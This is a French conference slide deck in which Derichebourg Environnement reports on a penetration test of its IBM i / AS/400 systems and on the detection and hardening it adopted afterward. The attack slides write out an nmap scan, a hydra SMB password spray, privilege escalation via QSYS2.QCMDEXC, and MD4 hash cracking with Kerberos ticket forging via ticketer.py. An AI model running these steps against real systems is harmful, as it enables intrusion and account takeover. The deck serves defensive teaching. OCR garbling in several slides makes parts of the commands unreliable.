
1

RETOUR D’EXPÉRIENCE

PENTEST AS/400

Mercredi 9 septembre 2026 - Securit.i
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DERICHEBOURG ENVIRONNEMENT

17 pays

—

400+ implantations

—

3 500 actifs gérés

—

8 800 utilisateurs
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1. Personne n’attaque l’AS/400

2. C’est « secure » par défaut

3. C’est une boite noire

4. Notre « cyber » couvre déjà le périmètre

LES IDÉES REÇUES
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RÉSULTAT DU TEST D’INTRUSION

« Les actifs du périmètre audité ont été compromis »
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L’ÈRE DES TESTS D’INTRUSION ASSISTÉ
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L’ÈRE DES TESTS D’INTRUSION ASSISTÉ
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CONDUITE DES TESTS

1  ·  E n u m é r e r

Les ports, les services, 

les versions, les 

potentielles

vulnérabilitées

2  ·  A t t e i n d r e l e s  
s e r v i c e s

Sign-on, database, 

remote command, IFS, 

IFS, FTP, Telnet et SSH

SSH

3  ·  S ’ a u t h e n t i f i e r

Spray des mots de 

passe faible ou par 

défaut.

Lockout par profile, 

non par IP source

4  ·  E l e v a t i o n  d e  
p r i v i l e g e

A buser des 

paramètrages

d’authority et des 

profiles privilégiés

5  ·  P e r s i s t e r e t  
a t t e i n d r e l a  d a t a

L’accès en base de donnée 

bypass complétement les 

sécurité des programmes

applicatifs
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SURFACE D’ATTAQUE

IBMi AS/400
SIGNON

USER . . . . .

PASSWORD . . . 5250

22

23

445

512

8471

21

25

389

R E C O N  — N M A P  P ort S canning

$ nmap -vv -p--sS  -sV <IBM -I-HO S T >  

N map scan report for <IBM -I-HO S T >  (10.x.x.x)

Host is up (0.0058s latency).

N ot show n: 65484 closed tcp ports (reset) 

P O R T       S T A T E  S ER VICE       VER SIO N  

21/tcp    open   ftp           IBM OS/400 FTPd

22/tcp    open   ssh           OpenSSH 8.6 (protocol 2.0) 23/tcp    open   telnet        IBM 

OS/400 telnetd

25/tcp    open   smtp?

110/tcp   open   pop3          qpopper pop3d

139/tcp   open   netbios-ssn?

389/tcp   open   ldap?

445/tcp   open   microsoft-ds

446/tcp   open   drda          IBM  DR D A

447/tcp   open   ddm-dfm ?

448/tcp   open   tcpwrapped

449/tcp   open   as-servermap  IBM  O S /400 as-servermapd 

512/tcp   open   exec? 

8471/tcp  open   pim-port? 

L...]

8476/tcp open   as-signon IBM  Client T ools signon

10089/tcp open   ssl/http      A pache httpd (P H P  8.x.x)

L...]
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PASSWORD SPRAYING

R E C O N  — S M B  C R E D E N T I A L  T E S T

$ h yd r a -/ c o mbo -l i s t .t xt  <I.a-I-IhST> s mb

Iyd r a v9.5 (c ) 2023 by van  Iau s er /TI/ & 5avi d  aac i ej ak

[5ATA] o ver al l  1 t as k , 2640 l o g i n  t r i es

[5ATA] at t ac k i n g  s mb://<I.a-I-IhST>:445/

[445][s mb] h o s t : <I.a-I-IhST>   l o g i n :user1 p as s wo r d :user1

[...] 

[445][s mb] h o s t : <I.a-I-IhST>   l o g i n :Mdmin p as s wo r d :Mdmin

• QMAXSIGN

• Contrôle le nombre de tentatives 
consécutives de connexion 
incorrectes

• QPWDRULES

• Les valeurs par défauts sont une 
bonne base

• *LMTPRFNAME

• *MINLEN15

• *REQANY3
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ENUMÉRATION DES COMPTES À PRIVILÈGES

S9L9/T AUTIhwIZATIhb_bAa9, St9/IAL_AUTIhwITI9S
Cwha vSYS2.US9w_IbCh
WI9w9 St9/IAL_AUTIhwITI9S IS bhT bULL

A U T H O R I Z A T I O N _ N A M E S P E C I A L _ A U T H O R I T I E S

APPSVC01 *ALLh.J *S9/A5a *Jh./TL

BATCHRUN *A LLO BJ *SAVSYS

DEVMAN *ALLh.J *S9wVI/9

An ak i n *SECADM

• Réutilisez la commande de recon en 
commande d’audit !

• Faites-la tourner périodiquement

• special authority non justifiée = disable
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ELEVATION DE PRIVILÈGES

SQL> /ALL vSYS2.v/a59X/(‘/IDUSwtwC USwtwC(LOWPRVUSER) SPCAUT(*SECADM)’)
SQL State: 38501 Vendor Code: -443 Message: [CPF222] *SECADM required to create or change user profiles
Cause: *SECADM special authority is required to create or change profiles.
Ask the security officer to create or change the user profile.
[…]

SQL> /ALL vSYS2.v/a59X/(‘S.aJh. /a5(CHGUSRPRF USRPRF(LOWPRVUSER) SPCAUT(*SECADM)) Jh.(S9TS9/A5a) US9w(Anakin)’)
Return Code = 0
Statement ran successfully (20ms)

S Q I > S EI EC T  A U T H O RIZA TIO N _N A M E,S P ECIAI _A U T H O RITIES  FR O M  Q S YS 2.U S ER _IN FO  J H ER E A U T H O RIZA TIO N _N A M E =  ‘ I O J P R VU S ER ’ ;

I O J P R VU S ER, *S EC A D M
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PERMISSIONS EXCESSIVES ACCÈS FICHIERS

Script énumération
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PERMISSIONS EXCESSIVES ACCÈS FICHIERS

Script énumérationhttps://www.ibm.com/support/pages/creating-report-audit-activity-ifs-directory 

/QIBM/UserData/OS400/Navigator/config/NASConfig_*********.bat

$ echo -n '$*********#' | iconv -t utf-16le | openssl dgst -provider legacy -md4 MD4(stdin)= a****7 

$ ticketer.py -spn kerberos400/as400.target.com -domain target.com -domain sid S-1-5-21-******* -nthash a****7 -user-id 1520 TargetUser
[...] 
[*] Saving/Updating ticket in TargetUser.ccache

$ KRB5CCNAME=TargetUser.ccache /opt/ibm/iAccessClientSolutions/Start_Programs/Linux_x86-64/acslaunch_linux-64
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STR-ICT

ACQUISITIO

N
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STR-ICT

ACQUISITIO
N

DISPATCHER

Système

Expert
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données

Alertes
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SOC

Externe

1012
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QAUDJRN

AD Auditing changes

AF Au t h o r i t y fai l u r e

F D /o m m an d  s t r i n g  au d i t

CP User profile created, changed or restored

DO Delete operation

DS Ser vi ce t o o l s  u s er  ch an g es

HM In t r u s i o n  m o n i t o r

NA Network attribute changed

OM Object management change

OR hbj ec t  r es t o r e

P A tr o g r am  c h an g ed  t o  ad o p t  au t h o r i t y

PF PTF operations — program temporary fix

PW Invalid password

SK So c k et  c o n n ec t i o n s

S T Ser vi ce t o o l  ac t i o n

SV System value changed

VP Network password error

X0 bet wo r k  au t h en t i c at i o n

X 1 Iden t i t y t o k en
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STR-ICT - DASHBOARD
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STR-ICT  -> CYBER STACK

user.name EX A M P I E\A.U S ER

source.ip 192.0.2.47

journal.type AF

object.name EXLIB/EXPGM

J O I N  K E Y

source.ip =  I ocalAddressIP 4
source.port=  I ocalP ort

R E S O I V E S  T O  A N  A G E N T  ID

C om puterN am e WRKS-001

LocalAddressIP4 192.0.2.47

UserName domain\user

C om mandIine acsclient.exe

# r e p o = i b m i . s t r i c t # r e p o = P r o c e s s R o l l U p 2
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EXEMPLE DE REGLE

Initial Access

▪ Brute Force Password Spraying

▪ Spray_ratio := total_attempts/distinct_users

▪ Ratio ≈ 1 : Bruteforce contre un unique compte

▪ Ratio > 2 : Multi account spray

▪ Sucessfulll Auth after faillure burst

▪ First connection from IP on cleartext protocol

▪ Telnet port 23 plutôt que 992

▪ FTP

Priv Esc

▪ Special Auth to user profile

▪ ALLOBJ, SECADM, etc

SQL exec

▪ CL command exécution via SQL

▪ Auditer qui a les droits de run QSYS2.QCMDEXC

▪ Autorisation explicite aux profiles qui en ont 
besoin

Correlation Rules

▪ HNO Priv action

▪ Firewall + ITDR + IBM i

▪ Détection d’une connexion privilégiée depuis 
une IP agentless en dehors des heures ouvrées
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DETECTION /= PREVENTION

Vi s i bi l i t é

Authority Faillures, signalées et scorée

Accès aux objets sensibles, enregistré

Alertes transmises au SOC

Les gaps…

Restreindre une autorisation trop permissive

Username=password et les mdp faibles

Supprimer des secrets stockés dans l’IFS
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Questions
Réponses
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